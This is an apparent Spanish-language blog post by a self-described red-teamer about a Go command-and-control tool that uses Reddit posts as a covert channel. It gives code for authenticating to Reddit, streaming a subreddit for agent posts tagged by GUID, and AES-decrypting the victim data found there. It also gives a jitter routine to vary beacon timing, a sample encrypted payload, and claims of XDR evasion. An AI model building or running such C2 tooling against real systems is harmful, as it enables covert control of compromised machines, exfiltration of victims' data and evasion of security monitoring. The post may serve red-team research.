C&C Reddit

3xploit
3 min readMar 17, 2023

--

Bypass XDR

Hola red quiero compartir un pequeño post sobre un comand and control el cual he desarrollado en Golang basandome en la documentacion del API de reddit. https://www.reddit.com/dev/api/

Basicamente el proyecto se divide en cliente-servidor donde se realiza la autenticacion hacia un canal de reddit con credenciales necesarias para generar la sesion de los posts y manipulacion de eventos sobre los mismos titulo, comentarios, delete, entre otras opciones todo esta documentado sobre el dev/api

func setup() *reddit.Client {

credentials := reddit.Credentials{ID: "xxxxxxxxx", Secret: "xxxxxxxxxxxx", Username: "test", Password: "##########"}
client, err := reddit.NewClient(credentials)
if err != nil {
fmt.Println("error creating client ", err)
}

return client

}

funcion principal para generar un cliente autenticado y poder acceder a las funcionalidades correspondientes.

func recivedData() {
sig := make(chan os.Signal, 1)
defer close(sig)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
config := setup()
posts, errs, stop := config.Stream.Posts(subreddit, reddit.StreamInterval(time.Second*3), reddit.StreamDiscardInitial)
defer stop()

timer := time.NewTimer(time.Hour)
defer timer.Stop()
for {
select {
case post, ok := <-posts:
if !ok {
return
}
color.Yellow("Received post Stage Encrypted : %s\n", post.Body)
color.Green("ID Agent : %s\n", post.Title)

if post.Title == "4a45ce73-4c89-442a-97df-0c3943eeevvcv" {
dec := aesgo.DecryptAes(post.Body, "XXXXW3W34R34##$#QDDSDD")
color.Red(dec)

return
}

case err, ok := <-errs:
if !ok {
return
}
fmt.Fprintf(os.Stderr, "Error! %v\n", err)
case rcvSig, ok := <-sig:
if !ok {
return
}
fmt.Printf("Stopping due to %s signal.\n", rcvSig)
return
case <-timer.C:
return
}
}
}

funcion dedicada para recibir la data de los posts generados encryptados en AES simetricamente. para posteriormente imprimirla en consola con la data del equipo correspondiente.

4a45ce73-4c89-442a-97df-0c394355d1e8

guid identificador del stage

U2F8CKWouAYxmoOrhc+u3D2HUr6qMFgPQSvvI84Rgpb8oKHIe4jpTXxEplKF1ok+QYsGh3NBQhWOWW4KjUXGX+rA9AvQRKpJR3Wc9GIlPAj0oX5hZXQBGWpKspai3gQDa+iYVNXeEc347iLqhTJNo866m2QgRfd+DGHjU5n35v1eM9E/Dhml7GMhzPSI2Zw+pxIHNcGvdekXoUBZs2CCzFbglVbPnW9BFKp1LWguAqL4feXAkc2UXYA/BxCtkktR05T0EYXqQGr2itMSfOYQCG4Vdjcg9eRzsKYnu1oo/OVfhhNE1lvBAfEWNIVCOwVwG1bi+1rIDfpWdg7l77tTGb8iXHLUuE4+aGCpHvyX8UXr3kFPRMtCinef5gx806Euv68E0exPEKy876KEAqm7VwPiJrDk8gOrUZQEpAeOYcy3QCinW3DJ5GAXw/gQNZJX9Q+PDv3kyRxur8W8dy9ptmtUNgFFPi9S8ZizUyDyRiAs0vkpjOu2jBg05pLHfkhWHGNwcZu+T/BDEz1diqnCsrMaRzt4yhttQGA8n6jqYaD0z3UfVcBL7wqVb3x/XP9v1DqpkhMcXKEIpEOnllhFxqOaz2SrgwO0BPGwZ+nPckCK2b72EUC3CbVNQVE+vnyJ4Q6put7o/p7mlbeHutYsSftuXqDWuOEiVmmJKpXefkYwTgG95GN1JBDvytNvY+FkCdwfHAJXrA6bhKEAulZzmjpI2VeCGmgHjzekCXU+RDk6GXq7JhV12h/tujAxsVhttK8lWrN2k4KgDzQ==

data cifrada en AES

una caracteristica importante del lado de la carga es la funcionalidad de jitter para generar diferentes patrones

func generateJitter(min time.Duration, max time.Duration) time.Duration {
// Seed the random number generator with the current time
rand.Seed(time.Now().UnixNano())

// Generate a random duration between min and max
jitter := time.Duration(rand.Int63n(int64(max-min))) + min

// Sleep for the random duration
time.Sleep(jitter)

return jitter
}


server multiplataforma para windows

server para Os Linux

debug tiempos del jitter

evasion de redditc2 XDR

--

--

3xploit

Ethical Hacker | Pentester Cloud | Red Team | Offensive Developer | Adversary Simulation | Golang Developer